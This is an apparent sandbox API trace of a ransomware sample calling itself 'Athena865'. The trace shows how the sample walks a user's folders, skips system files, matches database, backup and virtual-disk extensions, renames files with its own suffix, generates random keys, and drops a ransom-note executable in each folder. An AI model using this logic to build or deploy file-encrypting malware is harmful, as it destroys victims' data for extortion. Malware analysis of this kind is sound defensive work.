(lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="..") returned 1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="windows") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="bootmgr") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="temp") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="pagefile.sys") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="boot") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="ids.txt") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="ntuser.dat") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="perflogs") returned -1 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="MSBuild") returned -1 [0050.233] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned 33 [0050.233] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@rlcdn[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned="5p5nrgjn0js_halpmcxz@rlcdn[2].txt" [0050.233] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned 33 [0050.233] lstrlenW (lpString="Athena865") returned 9 [0050.233] lstrcmpiW (lpString1="dn[2].txt", lpString2="Athena865") returned 1 [0050.233] lstrlenW (lpString=".dll") returned 4 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2=".dll") returned 1 [0050.233] lstrlenW (lpString=".lnk") returned 4 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2=".lnk") returned 1 [0050.233] lstrlenW (lpString=".ini") returned 4 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2=".ini") returned 1 [0050.233] lstrlenW (lpString=".sys") returned 4 [0050.233] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2=".sys") returned 1 [0050.233] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@rlcdn[2].txt") returned 33 [0050.233] lstrlenW (lpString="bak") returned 3 [0050.233] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0050.233] lstrlenW (lpString="ba_") returned 3 [0050.234] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0050.234] lstrlenW (lpString="dbb") returned 3 [0050.234] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0050.234] lstrlenW (lpString="vmdk") returned 4 [0050.234] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0050.234] lstrlenW (lpString="rar") returned 3 [0050.234] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0050.234] lstrlenW (lpString="zip") returned 3 [0050.234] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0050.234] lstrlenW (lpString="tgz") returned 3 [0050.234] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0050.234] lstrlenW (lpString="vbox") returned 4 [0050.235] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0050.235] lstrlenW (lpString="vdi") returned 3 [0050.235] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0050.235] lstrlenW (lpString="vhd") returned 3 [0050.235] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0050.236] lstrlenW (lpString="vhdx") returned 4 [0050.236] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0050.236] lstrlenW (lpString="avhd") returned 4 [0050.236] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0050.236] lstrlenW (lpString="db") returned 2 [0050.236] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0050.238] lstrlenW (lpString="db2") returned 3 [0050.238] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0050.239] lstrlenW (lpString="db3") returned 3 [0050.239] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0050.239] lstrlenW (lpString="dbf") returned 3 [0050.239] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0050.239] lstrlenW (lpString="mdf") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0050.240] lstrlenW (lpString="mdb") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0050.240] lstrlenW (lpString="sql") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0050.240] lstrlenW (lpString="sqlite") returned 6 [0050.240] lstrcmpiW (lpString1="2].txt", lpString2="sqlite") returned -1 [0050.240] lstrlenW (lpString="sqlite3") returned 7 [0050.240] lstrcmpiW (lpString1="[2].txt", lpString2="sqlite3") returned -1 [0050.240] lstrlenW (lpString="sqlitedb") returned 8 [0050.240] lstrcmpiW (lpString1="n[2].txt", lpString2="sqlitedb") returned -1 [0050.240] lstrlenW (lpString="xml") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0050.240] lstrlenW (lpString="$er") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0050.240] lstrlenW (lpString="4dd") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0050.240] lstrlenW (lpString="4dl") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0050.240] lstrlenW (lpString="^^^") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0050.240] lstrlenW (lpString="abs") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0050.240] lstrlenW (lpString="abx") returned 3 [0050.240] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0050.240] lstrlenW (lpString="accdb") returned 5 [0050.240] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0050.240] lstrlenW (lpString="accdc") returned 5 [0050.240] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0050.240] lstrlenW (lpString="accde") returned 5 [0050.240] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0050.240] lstrlenW (lpString="accdr") returned 5 [0050.240] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0050.240] lstrlenW (lpString="accdt") returned 5 [0050.241] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0050.241] lstrlenW (lpString="accdw") returned 5 [0050.241] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0050.241] lstrlenW (lpString="accft") returned 5 [0050.241] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0050.241] lstrlenW (lpString="adb") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.241] lstrlenW (lpString="adb") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0050.241] lstrlenW (lpString="ade") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0050.241] lstrlenW (lpString="adf") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0050.241] lstrlenW (lpString="adn") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0050.241] lstrlenW (lpString="adp") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0050.241] lstrlenW (lpString="alf") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0050.241] lstrlenW (lpString="ask") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0050.241] lstrlenW (lpString="btr") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0050.241] lstrlenW (lpString="cat") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0050.241] lstrlenW (lpString="cdb") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0050.241] lstrlenW (lpString="ckp") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0050.241] lstrlenW (lpString="cma") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0050.241] lstrlenW (lpString="cpd") returned 3 [0050.241] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0050.241] lstrlenW (lpString="dacpac") returned 6 [0050.242] lstrcmpiW (lpString1="2].txt", lpString2="dacpac") returned -1 [0050.242] lstrlenW (lpString="dad") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0050.242] lstrlenW (lpString="dadiagrams") returned 10 [0050.242] lstrcmpiW (lpString1="cdn[2].txt", lpString2="dadiagrams") returned -1 [0050.242] lstrlenW (lpString="daschema") returned 8 [0050.242] lstrcmpiW (lpString1="n[2].txt", lpString2="daschema") returned 1 [0050.242] lstrlenW (lpString="db-journal") returned 10 [0050.242] lstrcmpiW (lpString1="cdn[2].txt", lpString2="db-journal") returned -1 [0050.242] lstrlenW (lpString="db-shm") returned 6 [0050.242] lstrcmpiW (lpString1="2].txt", lpString2="db-shm") returned -1 [0050.242] lstrlenW (lpString="db-wal") returned 6 [0050.242] lstrcmpiW (lpString1="2].txt", lpString2="db-wal") returned -1 [0050.242] lstrlenW (lpString="dbc") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0050.242] lstrlenW (lpString="dbs") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0050.242] lstrlenW (lpString="dbt") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0050.242] lstrlenW (lpString="dbv") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0050.242] lstrlenW (lpString="dbx") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0050.242] lstrlenW (lpString="dcb") returned 3 [0050.242] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0050.242] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865") returned 98 [0050.242] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.athena865"), dwFlags=0x1) returned 1 [0050.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.244] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=414) returned 1 [0050.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.245] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.245] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.245] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.246] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0050.248] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0050.249] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.249] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.249] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.252] lstrcpyW (in: lpString1=0x241e8b6, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat" [0050.252] lstrlenW (lpString="index.dat") returned 9 [0050.252] lstrlenW (lpString="Athena865") returned 9 [0050.252] lstrlenW (lpString=".dll") returned 4 [0050.252] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1 [0050.252] lstrlenW (lpString=".lnk") returned 4 [0050.252] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1 [0050.252] lstrlenW (lpString=".ini") returned 4 [0050.252] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1 [0050.252] lstrlenW (lpString=".sys") returned 4 [0050.252] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1 [0050.252] lstrlenW (lpString="index.dat") returned 9 [0050.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat.Athena865") returned 74 [0050.252] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\index.dat.athena865"), dwFlags=0x1) returned 0 [0050.252] GetLastError () returned 0x20 [0050.252] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat MoveFileEx error 32\r\n") returned 94 [0050.252] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat MoveFileEx error 32\r\n") returned 94 [0050.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0050.252] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d26 [0050.253] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5e, lpOverlapped=0x0) returned 1 [0050.253] CloseHandle (hObject=0x17c) returned 1 [0050.253] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0050.253] CloseHandle (hObject=0x0) returned 0 [0050.253] CloseHandle (hObject=0x0) returned 0 [0050.253] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1 [0050.253] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1 [0050.253] lstrlenW (lpString="Low") returned 3 [0050.253] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Low" | out: lpString1="Low") returned="Low" [0050.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c440 [0050.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x501fa8 [0050.253] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0050.254] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0050.254] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.258] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0050.258] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.258] ReleaseMutex (hMutex=0xec) returned 1 [0050.258] CloseHandle (hObject=0xec) returned 1 [0050.258] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop" [0050.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50de70 | out: hHeap=0x4f0000) returned 1 [0050.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c458 | out: hHeap=0x4f0000) returned 1 [0050.258] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 54 [0050.258] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\28C8CB12915DB65BC740EB72246AD0A0") returned 0xec [0050.258] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.258] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop" [0050.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.259] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.259] GetLastError () returned 0x0 [0050.259] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.259] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.260] CloseHandle (hObject=0xf4) returned 1 [0050.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.260] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.260] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.260] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.260] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.260] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.260] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.260] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.260] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.260] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a08170, ftCreationTime.dwHighDateTime=0x1d4cb5f, ftLastAccessTime.dwLowDateTime=0x1a4ae7b0, ftLastAccessTime.dwHighDateTime=0x1d4ce27, ftLastWriteTime.dwLowDateTime=0x1a4ae7b0, ftLastWriteTime.dwHighDateTime=0x1d4ce27, nFileSizeHigh=0x0, nFileSizeLow=0x6bb9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-L9LKJ81.m4a", cAlternateFileName="")) returned 1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2=".") returned 1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="..") returned 1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="windows") returned -1 [0050.260] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="bootmgr") returned 1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="temp") returned -1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="pagefile.sys") returned -1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="boot") returned 1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="ids.txt") returned 1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="ntuser.dat") returned -1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="perflogs") returned -1 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2="MSBuild") returned -1 [0050.261] lstrlenW (lpString="-L9LKJ81.m4a") returned 12 [0050.261] lstrcpyW (in: lpString1=0x241e8b6, lpString2="-L9LKJ81.m4a" | out: lpString1="-L9LKJ81.m4a") returned="-L9LKJ81.m4a" [0050.261] lstrlenW (lpString="-L9LKJ81.m4a") returned 12 [0050.261] lstrlenW (lpString="Athena865") returned 9 [0050.261] lstrcmpiW (lpString1="LKJ81.m4a", lpString2="Athena865") returned 1 [0050.261] lstrlenW (lpString=".dll") returned 4 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2=".dll") returned 1 [0050.261] lstrlenW (lpString=".lnk") returned 4 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2=".lnk") returned 1 [0050.261] lstrlenW (lpString=".ini") returned 4 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2=".ini") returned 1 [0050.261] lstrlenW (lpString=".sys") returned 4 [0050.261] lstrcmpiW (lpString1="-L9LKJ81.m4a", lpString2=".sys") returned 1 [0050.261] lstrlenW (lpString="-L9LKJ81.m4a") returned 12 [0050.261] lstrlenW (lpString="bak") returned 3 [0050.261] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1 [0050.261] lstrlenW (lpString="ba_") returned 3 [0050.261] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1 [0050.261] lstrlenW (lpString="dbb") returned 3 [0050.261] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1 [0050.261] lstrlenW (lpString="vmdk") 